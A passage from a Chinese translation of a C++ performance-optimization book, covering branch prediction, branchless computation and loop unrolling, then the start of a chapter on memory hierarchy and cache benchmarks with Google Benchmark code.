这里感兴趣的是条件if (b1[i] || b2[i]):按构造,它总是评估为true,因此我们可以期望处理器的完美预测率。当然,如果事情真的那么简单,我就不会向您展示这个例子了。对于我们来说逻辑上是一个条件的东西,在 CPU 看来是两个单独的条件分支:一半的时间,整体结果是由第一个分支决定的,另一半的时间,是第二个分支使其为真。整体结果总是为真,但无法预测哪个分支使其为真。结果非常不幸:

图 3.27 - “假”分支的分支预测概况

图 3.27 - “假”分支的分支预测概况

分析器显示的分支预测率与真正随机分支一样糟糕。性能基准证实了我们的期望:

图 3.28

图 3.28

分支(实际上根本不是分支)的性能与真正随机、不可预测的分支一样糟糕,远远不如预测良好的分支。

在真实的程序中,不应该遇到这种不必要的条件语句。然而,非常常见的是一个复杂的条件表达式,几乎总是基于不同的原因评估为相同的值。例如,我们可能有一个很少为假的条件:

if ((c1 && c2) || c3) {
     … true branch … 
} else {
     … false branch …
}

然而,将近一半的时间,c3为真。当c3为假时,c1c2通常都为真。整体条件应该很容易预测,并且会执行真分支。然而,从处理器的角度来看,这不是一个单一的条件,而是三个单独的条件跳转:如果c1为真,则必须检查c2。如果c2也为真,则执行跳转到真分支的第一条指令。如果c1c2中的一个为假,则检查c3,如果为真,则再次执行跳转到真分支。

必须按特定顺序逐步进行这种评估的原因是,C++标准(以及之前的 C 标准)规定逻辑操作(如&&||)是短路的:一旦整个表达式的结果已知,评估剩下的表达式应该停止。当条件具有副作用时,这一点尤为重要:

if (f1() || f2()) {
     … true branch … 
} else {
     … false branch …
}

现在,只有在f1()返回false时才会调用函数f2()。在前面的示例中,条件只是布尔变量c1c2c3。编译器可以检测到没有副作用,并且评估整个表达式到最后不会改变可观察的行为。一些编译器会进行这种优化;如果我们的假分支基准是用这样的编译器编译的,它将显示出预测良好分支的性能。不幸的是,大多数编译器不会将这视为潜在问题(实际上,编译器无法知道整个表达式通常评估为真,即使它的部分不是)。因此,这是程序员通常必须手动进行的优化。

假设程序员知道if()语句的两个分支中的一个经常被执行。例如,else分支可能对应于错误情况或其他异常情况,必须正确处理,但在正常操作下不应该出现。让我们还假设我们做对了事情,并且使用分析器验证了组成复杂布尔表达式的各个条件指令的预测不准确。我们如何优化代码呢?

第一个冲动可能是将条件评估移出if()语句:

const bool c = c1 && c2) || c3;
if (c) { … } else { … }

然而,这几乎肯定不会起作用,原因有两个。首先,条件表达式仍在使用逻辑&&||操作,因此评估仍必须被短路,并且需要单独且不可预测的分支。其次,编译器可能通过删除不必要的临时变量c来优化此代码,因此生成的目标代码可能根本不会改变。

在循环遍历条件变量数组的情况下,类似的转换可能是有效的。例如,这段代码可能会受到较差的分支预测的影响:

for (size_i i = 0; i < N; ++i) {
     if ((c1[i] && c2[i]) || c3[i]) { … } else { … }
}

然而,如果我们预先评估所有条件表达式并将它们存储在一个新数组中,大多数编译器不会消除该临时数组:

for (size_i i = 0; i < N; ++i) {
     c[i] = (c1[i] && c2[i]) || c3[i];
}
…
for (size_i i = 0; i < N; ++i) {
     if (c[i]) { … } else { … }
}

当然,用于初始化c[i]的布尔表达式现在受到分支错误预测的影响,因此这种转换只有在第二个循环执行的次数比初始化循环多得多时才有效。

通常有效的另一个优化是用加法和乘法或位&|操作替换逻辑&&||操作。在执行此操作之前,必须确保&&||操作的参数是布尔值(值为零或一),而不是整数:即使2的值被解释为 true,表达式2 & 1的结果与bool(2) & bool(1)的结果不同。前者评估为 0(false),而后者给出了预期和正确的答案 1(或 true)。

我们可以在基准测试中比较所有这些优化的性能:

图 3.29

图 3.29

正如你所看到的,通过引入临时变量BM_false_branch_temp来优化false branch的天真尝试是完全无效的。使用临时向量给出了预期的完全预测分支的性能,因为临时向量的所有元素都等于 true,这是分支预测器学到的内容(BM_false_branch_vtemp)。用算术加法(+)或位|替换逻辑||产生类似的结果。

您应该记住,最后两种转换,即使用算术或位操作代替逻辑操作,会改变代码的含义:特别是,表达式中操作的所有参数都会被评估,包括它们的副作用。由您决定这种改变是否会影响程序的正确性。如果这些副作用也很昂贵,那么整体性能变化可能最终不利于您。例如,如果评估f1()f2()非常耗时,将表达式f1() || f2()中的逻辑||替换为等效的算术加法(f1() + f2())可能会降低性能,即使它改善了分支预测。

总的来说,在false branches中优化分支预测没有标准方法,这也是为什么编译器很难进行有效的优化。程序员必须使用特定于问题的知识,例如特定条件是否可能发生,并结合分析测量结果得出最佳解决方案。

在本章中,我们已经学习了 CPU 操作如何影响性能,然后进展到一个具体且实际相关的例子,应用这些知识来进行代码优化。在结束之前,我们将学习另一种优化方法。

无分支计算

到目前为止,我们已经学到了:为了有效地使用处理器,我们必须提供足够的代码,以便并行执行多条指令。我们之所以没有足够的指令来让 CPU 忙碌的主要原因是数据依赖性:我们有代码,但我们无法运行它,因为输入还没有准备好。我们通过流水线处理代码来解决这个问题,但为了这样做,我们必须提前知道哪些指令将被执行。如果我们不提前知道执行的路径,我们就无法做到这一点。我们处理这个问题的方式是根据评估这个条件的历史来做出一个合理的猜测,即猜测条件分支是否会被执行,猜测越可靠,性能就越好。有时,没有可靠的猜测方式,性能就会受到影响。

所有这些性能问题的根源是条件分支,即在运行时无法知道要执行的下一条指令。解决问题的一个激进方法是重写我们的代码,不使用分支,或者至少减少分支的数量。这就是所谓的无分支计算

循环展开

事实上,这个想法并不是特别新颖。现在你已经了解了分支如何影响性能的机制,你可以认识到循环展开这一众所周知的技术,作为减少分支数量的早期代码转换的一个例子。让我们回到我们的原始代码示例:

           for (size_t i = 0; i < N; ++i) {
                 a1 += p1[i] + p2[i];
           }

现在我们明白了,虽然循环的主体是完全流水线化的,但这段代码中隐藏了一个分支:循环结束的检查。这个检查每次循环迭代都会执行一次。如果我们事先知道,比如说,迭代次数N总是偶数,那么我们就不需要在奇数迭代后执行检查。我们可以明确地省略这个检查,如下所示:

           for (size_t i = 0; i < N; i += 2) {
                 a1 += p1[i] + p2[i]
                     +  p1[i+1] + p2[i+1];
           }

我们已经展开了这个循环,将两次迭代转换为一次更大的迭代。在这个和其他类似的例子中,手动展开循环不太可能提高性能,原因有几个:首先,如果N很大,循环的末尾分支几乎可以完美预测。其次,编译器可能会将循环展开为优化;更有可能的是,矢量化编译器将使用 SSE 或 AVX 指令来实现这个循环,实际上展开了它的主体,因为矢量指令一次处理多个数组元素。所有这些结论都需要通过基准测试或性能分析来确认;如果你发现手动循环展开对性能没有影响,不要感到惊讶:这并不意味着我们对分支的了解是错误的;这意味着我们的原始代码已经受益于循环展开,很可能是由于编译器优化。

无分支选择

循环展开是一个非常具体的优化,编译器已经学会了这样做。将这个想法概括为无分支计算是一个最近的进展,可以产生惊人的性能提升。我们将从一个非常简单的例子开始:

unsigned long* p1 = ...; // Data
bool* b1 = ...; // Unpredictable condition
unsigned long a1 = 0, a2 = 0;
for (size_t i = 0; i < N; ++i) {
     if (b1[i]) {
           a1 += p1[i];
     } else {
           a2 += p1[i];
     }
}

假设条件变量b1[i]不能被处理器预测。正如我们已经看到的,这段代码的运行速度比具有良好预测分支的循环慢了几倍。然而,我们可以做得更好;我们可以完全消除分支,并用指向两个目标变量的指针数组进行替换:

unsigned long* p1 = ...; // Data
bool* b1 = ...; // Unpredictable condition
unsigned long a1 = 0, a2 = 0;
unsigned long* a[2] = { &a2, &a1 };
for (size_t i = 0; i < N; ++i) {
     a[b1[i]] += p1[i];
}

在这种转换中,我们利用了一个布尔变量只能有两个值,0(false)或 1(true)的事实,并且可以隐式转换为整数(如果我们使用bool之外的其他类型,我们必须确保所有true值确实由 1 表示,因为任何非零值都被认为是true,但只有 1 的值适用于我们的无分支代码)。

这种转换将对两种可能指令的条件跳转替换为对两种可能内存位置的条件访问。因为这种条件内存访问可以进行流水线处理,无分支版本提供了显著的性能改进:

图 3.30

图 3.30

在这个例子中,无分支版本的代码快了 3.5 倍。值得注意的是,一些编译器在可能的情况下使用查找数组来实现?:运算符,而不是条件分支。有了这样的编译器,我们可以通过将我们的循环体重写如下来获得相同的性能优势:

for (size_t i = 0; i < N; ++i) {
     (b1[i] ? a1 : a2) += p1[i];
}

像往常一样,要确定这种优化是否有效以及其有效性如何,唯一的方法就是进行测量。

前面的例子涵盖了无分支计算的所有基本要素:不是有条件地执行这段代码或那段代码,而是将程序转换为在所有情况下都相同的代码,并且条件逻辑由索引操作实现。我们将通过几个更多的例子来强调一些值得注意的考虑和限制。

无分支计算示例

大多数时候,取决于条件的代码并不像写入结果那样简单。通常,我们必须根据一些中间值以不同的方式进行计算:

unsigned long *p1 = ..., *p2 = ...; // Data
bool* b1 = ...; // Unpredictable condition
unsigned long a1 = 0, a2 = 0;                          
for (size_t i = 0; i < N; ++i) {                          
     if (b1[i]) {                                           
           a1 += p1[i] - p2[i];                  
     } else {                              
           a2 += p1[i] * p2[i];                  
     }                                 
}  

在这里,条件影响我们计算的表达式和结果存储的位置。两个分支的共同之处只是输入,而且一般情况下甚至这个也不一定。

为了在没有分支的情况下计算相同的结果,我们必须从由条件变量索引的内存位置中获取正确表达式的结果。这意味着由于我们决定不基于条件改变执行哪些代码,因此将评估两个表达式。在这种理解下,转换为无分支形式是直接的:

unsigned long a1 = 0, a2 = 0;
unsigned long* a[2] = { &a2, &a1 };
for (size_t i = 0; i < N; ++i) {
     unsigned long s[2] = { p1[i] * p2[i], p1[i] - p2[i] };
     a[b1[i]] += s[b1[i]];
}  

两个表达式都被评估,并它们的结果被存储在一个数组中。另一个数组用于索引计算的目标,也就是说,哪个变量被增加。总的来说,我们显著增加了循环体必须执行的计算量;另一方面,这都是顺序代码,没有跳转,所以只要 CPU 有资源可以多做一些操作而不需要额外的周期,我们应该会有所收益。基准测试证实了这种无分支转换的有效性:

图 3.31

图 3.31

必须强调的是,你可以进行多少额外的计算并且仍然优于条件代码是有限制的。在这里,甚至没有一个好的一般性的经验法则可以让你做出明智的猜测(而且你绝对不应该猜测性能)。这种优化的有效性必须进行测量:它高度依赖于代码和数据。例如,如果分支预测非常有效(可预测的条件而不是随机的条件),条件代码将优于无分支版本:

图 3.32

图 3.32

也许我们可以从图 3.31 和图 3.32 中学到的最显著的结论是流水线刷新(错误预测的分支)有多么昂贵,以及 CPU 可以同时进行多少计算。后者可以从完全预测的分支(图 3.32)和无分支实现(图 3.31)之间性能差异相对较小来推断。无分支计算依赖于这种隐藏且大部分未使用的计算能力储备,我们可能在我们的例子中还没有耗尽这个储备。展示同一代码的无分支转换的另一种变体是很有教育意义的,这种变体不是使用数组来选择正确的结果变量,而是如果我们不想实际改变结果,我们总是同时增加两个值:

unsigned long a1 = 0, a2 = 0;
for (size_t i = 0; i < N; ++i) {
     unsigned long s1[2] = { 0, p1[i] - p2[i] };
     unsigned long s2[2] = { p1[i] * p2[i], 0 };
     a1 += s1[b1[i]];
     a2 += s2[b1[i]];
}

现在我们不再有目的地数组,而是有两个中间值的数组。这个版本即使在无条件下进行更多的计算,但与之前的无分支代码一样提供了相同的性能:

图 3.33 - 图 3.31 的结果,另一种无分支实现被添加为"BM_branchless1"

图 3.33 - 图 3.31 的结果,另一种无分支实现被添加为"BM_branchless1"

了解无分支转换的局限性并不要得意忘形是很重要的。我们已经看到了第一个局限性:无分支代码通常执行更多指令;因此,如果分支预测器最终运行良好,少量的流水线刷新可能不足以证明这种优化。

无分支转换不能如预期那样执行的第二个原因与编译器有关:在某些情况下,编译器可以进行等效或者更好的优化。例如,考虑所谓的夹紧循环:

unsigned char *c = ...; // Random values from 0 to 255
for (size_t i = 0; i < N; ++i) {
     c[i] = (c[i] < 128) ? c[i] : 128;
}

这个循环将数组c中的值(无符号字符)夹紧到128的限制。假设初始值是随机的,循环体中的条件无法被准确预测,我们可以预期分支错误预测率非常高。另一种无分支的实现方式使用了256个元素,每个元素对应无符号字符的可能值。索引为 0 到 127 的表项LUT[i]包含索引值本身,而较高索引的表项LUT[i]都包含 128:

unsigned char *c = ...; // Random values from 0 to 255
unsigned char LUT[256] = { 0, 1, …, 127, 128, 128, … 128 };
for (size_t i = 0; i < N; ++i) {
     c[i] = LUT[c[i]];
}

对于大多数现代编译器来说,这根本不是优化:编译器通常会使用 SSE 或 AVX 矢量指令来一次复制和夹紧多个字符,而且完全没有任何分支。如果我们对原始代码进行了剖析,而不是假设分支一定会被错误预测,我们就会发现程序并没有因为分支预测不佳而受到影响。

还有一种情况下无分支转换可能不划算,那就是循环体的开销明显大于分支,即使是错误预测的分支。这种情况很重要,因为它通常描述了进行函数调用的循环:

unsigned long f1(unsigned long x, unsigned long y);
unsigned long f2(unsigned long x, unsigned long y);
unsigned long *p1 = ..., *p2 = ...; // Data
bool* b1 = ...; // Unpredictable condition
unsigned long a = 0;                              
for (size_t i = 0; i < N; ++i) {                        
     if (b1[i]) {                                            
           a += f1(p1[i], p2[i]);                          
     } else {                                                
           a += f2(p1[i], p2[i]);                           
     }
} 

在这里,我们根据条件b1调用f1()f2()中的一个函数。if-else语句可以被消除,如果我们使用函数指针数组,代码可以变成无分支。

decltype(f1)* f[] = { f1, f2 };
for (size_t i = 0; i < N; ++i) {                       
     a += f[b1[i]](p1[i], p2[i]);
}

这是一种值得做的优化吗?通常不是。首先,如果函数f1()f2()可以内联,函数指针调用将阻止内联。内联通常是一种重要的优化;为了摆脱分支而放弃内联几乎是不合理的。当函数没有内联时,函数调用本身会中断流水线(这也是内联是如此有效的优化的原因之一)。与函数调用的成本相比,即使是错误预测的分支通常也不那么重要。

尽管如此,有时查找表是一种值得优化的方法:对于只有两个选择的情况几乎从不值得,但如果我们必须根据单个条件从许多函数中进行选择,函数指针表比链式if-else语句更有效。值得注意的是,这个例子与所有现代编译器用来实现虚函数调用的实现非常相似;这样的调用也是使用函数指针数组而不是一系列比较来分派的。当需要优化根据运行时条件调用多个函数的代码时,您应该考虑是否值得使用多态对象进行重新设计。

您还应该记住无分支转换对代码的可读性的影响:函数指针的查找表不如switchif-else语句易读,而且可能比后者更难调试。考虑到最终结果的许多因素(编译器优化、硬件资源可用性、程序操作的数据的性质),任何优化都必须通过基准测试和性能分析来验证,并权衡对程序员在时间、可读性和复杂性方面的额外成本。

总结

在本章中,我们学习了主处理器的计算能力以及如何有效地使用它们。高性能的关键是充分利用所有可用的计算资源:同时计算两个结果的程序比稍后计算第二个结果的程序更快(假设计算能力可用)。正如我们所了解的,CPU 具有各种类型计算的许多计算单元,其中大多数在任何给定时刻都是空闲的,除非程序经过高度优化。

我们已经看到,有效利用 CPU 指令级并行性的主要限制通常是数据依赖性:简单地说,没有足够的并行工作来让 CPU 保持忙碌。这个问题的硬件解决方案是流水线:CPU 不仅仅执行程序中当前点的代码,而是从没有未满足数据依赖性的未来中获取一些计算,并并行执行它们。只要未来是已知的,这种方法就有效:如果 CPU 无法确定这些计算是什么,它就无法执行未来的计算。每当 CPU 必须等待确定下一条要执行的机器指令时,流水线就会停顿。为了减少这种停顿的频率,CPU 具有特殊的硬件,可以预测最有可能的未来,通过条件代码的路径,以及推测性地执行该代码。因此,程序的性能关键取决于这种预测的准确性。

我们已经学会了使用特殊工具来帮助衡量代码的效率并识别限制性能的瓶颈。在测量的指导下,我们研究了几种优化技术,可以使程序更充分地利用 CPU 资源,等待时间更少,计算更多,并最终有助于提高性能。

在本章中,我们一直忽略了每个计算最终必须执行的一步:访问内存。任何表达式的输入都驻留在内存中,并且必须在其余计算发生之前被带入寄存器。中间结果可以存储在寄存器中,但最终,某些东西必须被写回内存,否则整个代码就没有持久的效果。事实证明,内存操作(读取和写入)对性能有显著影响,并且在许多程序中是阻止进一步优化的限制因素。下一章将致力于研究 CPU 与内存的交互。

问题

  1. 如何有效地使用 CPU 资源的关键是什么?

  2. 我们如何利用指令级并行性来提高性能?

  3. 如果后一个计算需要前一个计算的结果,CPU 如何并行执行计算?

  4. 为什么条件分支比简单评估条件表达式的成本要昂贵得多?

  5. 什么是推测执行?

  6. 有哪些优化技术可用于改善具有条件计算的代码中流水线的效率?

第四章:内存架构和性能

在 CPU 之后,内存通常是限制整体程序性能的硬件组件。在本章中,我们首先学习现代内存架构,它们固有的弱点以及对抗或至少隐藏这些弱点的方法。对于许多程序来说,性能完全取决于程序员是否利用了旨在提高内存性能的硬件特性,本章将教授必要的技能。

在本章中,我们将涵盖以下主要主题:

  • 内存子系统概述

  • 内存访问性能

  • 访问模式及其对算法和数据结构设计的影响

  • 内存带宽和延迟

技术要求

同样,您将需要一个 C++编译器和一个微基准测试工具,例如我们在上一章中使用的 Google Benchmark 库(位于github.com/google/benchmark)。我们还将使用LLVM 机器码分析器LLVM-MCA),位于llvm.org/docs/CommandGuide/llvm-mca.html。如果您想使用 MCA,您的编译器选择将更有限:您需要一个基于 LLVM 的编译器,如 Clang。

本章的代码可以在此处找到:github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter04

性能始于 CPU,但并不止于此。

在上一章中,我们研究了 CPU 资源以及如何将它们用于实现最佳性能。特别是,我们观察到 CPU 具有并行进行大量计算的能力(指令级并行性)。我们在多个基准测试中进行了演示,显示 CPU 可以在没有任何性能惩罚的情况下每个周期执行许多操作:例如,添加和减去两个数字所需的时间与仅添加它们所需的时间相同。

然而,您可能已经注意到,这些基准测试和示例具有一个相当不寻常的特性。考虑以下示例:

        for (size_t i = 0; i < N; ++i) {
            a1 += p1[i] + p2[i];
            a2 += p1[i] * p2[i];
            a3 += p1[i] << 2;
            a4 += p2[i] – p1[i];
            a5 += (p2[i] << 1)*p2[i];
            a6 += (p2[i] - 3)*p1[i];
        }

我们已经使用了这段代码片段来证明 CPU 可以对两个值p1[i]p2[i]进行八次操作,几乎没有额外成本,与仅进行一次操作相比。但我们总是非常小心地添加更多操作而不添加更多输入;在几个场合,我们提到过,CPU 的内部并行性适用于只要值已经在寄存器中。在之前的示例中,当添加第二个、第三个等直到第八个操作时,我们小心地保持只有两个输入。这导致了一些不寻常和不现实的代码。在现实生活中,您通常需要在给定的输入集上计算多少个事情?大多数情况下少于八个。

这并不意味着除非您运行类似之前示例的奇异代码,否则 CPU 的整个计算潜力都会被浪费。指令级并行性是流水线处理的计算基础,我们可以同时执行循环不同迭代的操作。无分支计算完全是为了将条件指令换成无条件计算,因此几乎完全依赖于通常情况下我们通常可以免费获得更多计算的事实。

然而,问题仍然存在:为什么我们要限制 CPU 基准测试的方式呢?毕竟,如果我们只是增加更多的输入,那么在之前的示例中想出八种不同的事情会更容易得多:

        for (size_t i = 0; i < N; ++i) {
            a1 += p1[i] + p2[i];
            a2 += p3[i] * p4[i];
            a3 += p1[i] << 2;
            a4 += p2[i] - p3[i];
            a5 += (p4[i] << 1)*p2[i];
            a6 += (p3[i] - 3)*p1[i];
        }

这与我们之前看到的代码相同,只是现在每次迭代操作四个不同的输入值,而不是两个。它继承了之前示例的所有尴尬之处,但只是因为我们希望在测量某些性能变化的影响时尽可能少地进行更改。而且影响是显著的:

图 4.1

图 4.1

对四个输入值进行相同的计算大约需要多 36%的时间。当我们需要在内存中访问更多数据时,计算会受到延迟。

应该指出,还有另一个原因会影响性能,那就是增加更多的独立变量、输入或输出可能会影响性能:CPU 可能会用尽寄存器来存储这些变量进行计算。虽然这是许多实际程序中的一个重要问题,但在这里并非如此。这段代码并不复杂到足以用完现代 CPU 的所有寄存器(确认这一点最简单的方法是检查机器代码,不幸的是)。

显然,访问更多的数据似乎会降低代码的速度。但是为什么呢?从非常高的层面上来说,原因是内存根本跟不上 CPU。有几种方法可以估计这种内存差距的大小。最简单的方法在现代 CPU 的规格中就可以看出来。如我们所见,CPU 今天的时钟频率在 3 GHz 到 4 GHz 之间,这意味着一个周期大约是 0.3 纳秒。在适当的情况下,CPU 每秒可以执行多个操作,因此每纳秒执行十次操作并不是不可能的(尽管在实践中很难实现,并且是一个非常高效程序的明确迹象)。另一方面,内存速度要慢得多:例如,DDR4 内存时钟的工作频率为 400 MHz。您还可以找到高达 3200 MHz 的值;但是,这不是内存时钟,而是数据速率,要将其转换为类似内存速度的东西,您还必须考虑列访问脉冲延迟,通常称为CAS 延迟CL。粗略地说,这是 RAM 接收数据请求、处理数据请求并返回值所需的周期数。没有一个单一的内存速度定义在所有情况下都是有意义的(本章后面我们将看到一些原因),但是,第一次近似地,具有 3.2 GHz 数据速率和 CAS 延迟 15 的 DDR4 模块的内存速度约为 107 MHz,或者每次访问需要 9.4 纳秒。

无论从哪个角度来看,CPU 每秒可以执行的操作比内存提供的输入值要多得多,或者存储结果。所有程序都需要以某种方式使用内存,内存访问的细节将对性能产生重大影响,有时甚至会限制性能。然而,这些细节非常重要:内存差距对性能的影响可以从微不足道到内存成为程序的瓶颈。我们必须了解内存在不同条件下对程序性能的影响以及原因,这样我们才能利用这些知识来设计和实现最佳性能的代码。

测量内存访问速度

我们有充分的证据表明,与内存中的数据相比,CPU 可以更快地处理寄存器中已有的数据。处理器和内存速度的规格单独就至少暗示了一个数量级的差异。然而,我们现在已经学会了不要在没有通过直接测量验证之前对性能进行任何猜测或假设。这并不意味着对系统架构的任何先前知识以及我们可以基于该知识做出的任何假设都没有用。这些假设可以用来指导实验并设计正确的测量方法。我们将在本章中看到,偶然发现的过程只能让你走得更远,甚至可能导致错误。测量本身可能是正确的,但往往很难确定到底在测量什么以及我们可以从结果中得出什么结论。

测量内存访问速度似乎应该是相当琐碎的。我们只需要一些内存来读取,并且一种计时读取的方法,就像这样:

volatile int* p = new int;
*p = 42;
for (auto _ : state) {
    benchmark::DoNotOptimize(*p);
}
delete p;

此基准运行和测量……某物。您可以期望报告一个迭代的时间为 0 纳秒。这可能是不希望的编译器优化的结果:如果编译器发现整个程序没有可观察的效果,它可能会将其优化为无效果。尽管如此,我们已经采取了预防措施:我们读取的内存是volatile,访问volatile内存被认为是可观察的效果,不能被优化掉。相反,0 纳秒的结果在某种程度上是基准本身的不足:它表明单次读取比 1 纳秒更快。虽然这与我们基于内存速度的预期不太一样,但我们无法从一个我们不知道的数字中学到任何东西,包括我们自己的错误。要修复基准的测量方面,我们所要做的就是在一个基准迭代中执行多次读取,如下所示:

volatile int* p = new int;
*p = 42;
for (auto _ : state) {
    benchmark::DoNotOptimize(*p);
    … repeat 32 times …
    benchmark::DoNotOptimize(*p);
}
state.SetItemsProcessed(32*state.iterations());
delete p;

在这个例子中,我们每次迭代执行 32 次读取。虽然我们可以从报告的迭代时间中计算出单个读取的时间,但让 Google Benchmark 库为我们进行计算并报告每秒读取的次数更方便;这是通过在基准结束时设置处理的项目数量来实现的。

这个基准应该在中档 CPU 上报告迭代时间约为 5 纳秒,证实单次读取为这个时间的 1/32,远低于 1 纳秒(因此我们对每次迭代单次读取为 0 的原因的猜测得到了验证)。另一方面,这个测得的值与我们对内存速度的期望不符。我们之前对性能瓶颈的假设可能是错误的;这并非第一次。或者,我们可能正在测量与内存速度不同的东西。

内存架构

要正确理解如何测量内存性能,我们必须更多地了解现代处理器的内存架构。对于我们的目的来说,内存系统最重要的特性是它是分层的。CPU 不直接访问主内存,而是通过一系列缓存层次结构:

图 4.2-内存层次结构图

图 4.2-内存层次结构图

图 4.2 中的 RAM 是主内存,主板上的 DRAM。当系统规格说明机器有多少吉字节的内存时,那就是 DRAM 的容量。正如你所看到的,CPU 并不直接访问主内存,而是通过多个层次的缓存层次结构。这些缓存也是内存电路,但它们位于 CPU 芯片上,并且使用不同的技术来存储数据:它们都是不同速度的 SRAM。从我们的角度来看,DRAM 和 SRAM 之间的关键区别是 SRAM 的访问速度要快得多,但它的功耗比 DRAM 要大得多。随着我们通过内存层次结构接近 CPU,内存访问速度也会增加:一级(L1)缓存的访问时间几乎与 CPU 寄存器相同,但它使用的功率很大,我们只能有很少的这样的内存,通常每个 CPU 核心为 32KB。下一级,L2 缓存,更大但更慢,第三级(L3)缓存更大但也更慢(通常在 CPU 的多个核心之间共享),层次结构的最后一级是主内存本身。

当 CPU 第一次从主内存中读取数据值时,该值通过所有缓存级别传播,并且它的副本留在缓存中。当 CPU 再次读取相同的值时,它不需要等待该值从主内存中获取,因为相同值的副本已经在快速的 L1 缓存中可用。

只要我们想要读取的数据适合 L1 缓存,那就是需要发生的一切:所有数据将在第一次访问时加载到缓存中,之后,CPU 只需要访问 L1 缓存。然而,如果我们尝试访问当前不在缓存中的值,并且缓存已经满了,就必须从缓存中驱逐一些数据以为新值腾出空间。这个过程完全由硬件控制,硬件有一些启发式方法来确定我们最不可能再次需要的值,基于我们最近访问的值(第一次近似,很可能很长时间没有使用的数据可能不会很快再次需要)。下一级缓存更大,但使用方式相同:只要数据在缓存中,就在那里访问(离 CPU 越近越好)。否则,它必须从下一级缓存或者 L3 缓存中获取,如果缓存已满,就必须从缓存中驱逐一些其他数据(也就是说,被缓存遗忘,因为原始数据仍然在主内存中)。

现在我们可以更好地理解我们之前测量的内容:因为我们一遍又一遍地读取相同的值,成千上万次,初始读取的成本完全丢失了,平均读取时间就是 L1 缓存读取的时间。L1 缓存确实似乎非常快,所以如果你的整个数据适合 32 KB,你不需要担心内存差距。否则,你必须学会如何正确测量内存性能,这样你就可以得出适用于你的程序的结论。

测量内存和缓存速度

现在我们明白了内存速度比单次读取的时间更复杂,我们可以设计一个更合适的基准测试。我们可以预期缓存大小会显著影响结果,因此我们必须访问不同大小的数据,从几千字节(适合 32 KB L1 缓存)到数十兆字节或更多(L3 缓存大小不同,但通常在 8 MB 到 12 MB 左右)。由于对于大数据量,内存系统将不得不从缓存中清除数据,我们可以预期性能取决于该预测的有效性,或者更一般地说,取决于访问模式。顺序访问,比如复制一系列内存,最终的性能可能会与以随机顺序访问相同范围的性能有很大不同。最后,结果可能取决于内存访问的粒度:访问 64 位long值是否比访问单个char更慢?

用于顺序读取大数组的简单基准测试可以如下所示:

template <class Word>
void BM_read_seq(benchmark::State& state) {
    const size_t size = state.range(0);
    void* memory = ::malloc(size);
    void* const end = static_cast<char*>(memory) + size;
    volatile Word* const p0 = static_cast<Word*>(memory);
    Word* const p1 = static_cast<Word*>(end);
    for (auto _ : state) {
        for (volatile Word* p = p0; p != p1; ) {
            REPEAT(benchmark::DoNotOptimize(*p++);)
        }
        benchmark::ClobberMemory();
    }
    ::free(memory);
    state.SetBytesProcessed(size*state.iterations());
    state.SetItemsProcessed((p1 - p0)*state.iterations());
}

写入的基准测试看起来非常相似,在主循环中只有一行变化:

    Word fill = {};    // Default-constructed
    for (auto _ : state) {
        for (volatile Word* p = p0; p != p1; ) {
            REPEAT(benchmark::DoNotOptimize(*p++ = fill);)
        }
        benchmark::ClobberMemory();
    }

我们写入数组的值不应该有影响;如果你担心零有些特殊,你可以用任何其他值初始化fill变量。

REPEAT用于避免手动复制基准测试代码多次。我们仍然希望在每次迭代中执行多次内存读取:一旦我们开始报告每秒读取的次数,避免每次迭代 0 纳秒的报告就不那么关键了,但是对于像我们这样非常便宜的迭代来说,循环本身的开销是非常重要的,因此最好手动展开这个循环。我们的REPEAT宏将循环展开 32 次:

#define REPEAT2(x) x x
#define REPEAT4(x) REPEAT2(x) REPEAT2(x)
#define REPEAT8(x) REPEAT4(x) REPEAT4(x)
#define REPEAT16(x) REPEAT8(x) REPEAT8(x)
#define REPEAT32(x) REPEAT16(x) REPEAT16(x)
#define REPEAT(x) REPEAT32(x)

当然,我们必须确保我们请求的内存大小足够大,可以容纳 32 个Word类型的值,并且总数组大小可以被 32 整除;这两者对我们的基准测试代码都不是重大限制。

说到Word类型,这是我们第一次使用TEMPLATE基准测试。它用于生成多种类型的基准测试,而不是复制代码。调用这样的基准测试有一点不同:

#define ARGS ->RangeMultiplier(2)->Range(1<<10, 1<<30)
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned int) ARGS;
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned long) ARGS;

如果 CPU 支持,我们可以使用 SSE 和 AVX 指令以更大的块读取和写入数据,例如在 x86 CPU 上一次移动 16 或 32 字节。在 GCC 或 Clang 中,有这些更大类型的库头文件:

#include <emmintrin.h>
#include <immintrin.h>
…
BENCHMARK_TEMPLATE1(BM_read_seq, __m128i) ARGS;
BENCHMARK_TEMPLATE1(BM_read_seq, __m256i) ARGS;

类型__m128i__m256i不是内置语言(至少不是 C/C++),但 C++让我们很容易地声明新类型:这些是值类型类(表示单个值的类),并且为它们定义了一组算术运算,例如加法和乘法,编译器使用适当的 SIMD 指令实现这些运算。

前面的基准测试按顺序访问内存范围,从开始到结束,依次,每次一个字。内存的大小会变化,由基准参数指定(在本例中,从 1 KB 到 1 GB,每次加倍)。复制完内存范围后,基准测试会再次进行,从开始,直到积累足够的测量。

在以随机顺序访问内存速度时,必须更加小心。天真的实现会导致我们测量类似这样的代码:

benchmark::DoNotOptimize(p[rand() % size]);

不幸的是,这个基准测试测量了调用rand()函数所需的时间:它的计算成本比读取一个整数要高得多,你永远不会注意到后者的成本。甚至取模运算符%的成本也比单个读取或写入要高得多。获得一些近似准确的方法是预先计算随机索引并将它们存储在另一个数组中。当然,我们必须面对这样一个事实,即我们现在既读取索引值又读取索引数据,因此测量成本是两次读取(或一次读取和一次写入)。

按随机顺序写入内存的附加代码可以如下所示:

    const size_t N = size/sizeof(Word);
    std::vector<int> v_index(N); 
    for (size_t i = 0; i < N; ++i) v_index[i] = i;
    std::random_shuffle(v_index.begin(), v_index.end());
    int* const index = v_index.data();
    int* const i1 = index + N;
    Word fill; memset(&fill, 0x0f, sizeof(fill));
    for (auto _ : state) {
        for (const int* ind = index; ind < i1; ) {
            REPEAT(*(p0 + *ind++) = fill;)
        }
        benchmark::ClobberMemory();
    }

在这里,我们使用 STL 算法random_shuffle生成索引的随机顺序(我们也可以使用随机数;虽然有些索引可能出现多次,而其他索引可能从未出现,但这不应该对结果产生太大影响)。我们写入的值实际上并不重要:写入任何数字都需要相同的时间,但是如果编译器能够确定代码正在写入大量零,它有时可以进行特殊优化,因此最好避免这样做并写入其他内容。还要注意,更长的 AVX 类型不能用整数初始化,因此我们使用memset()将任意位模式写入写入值。

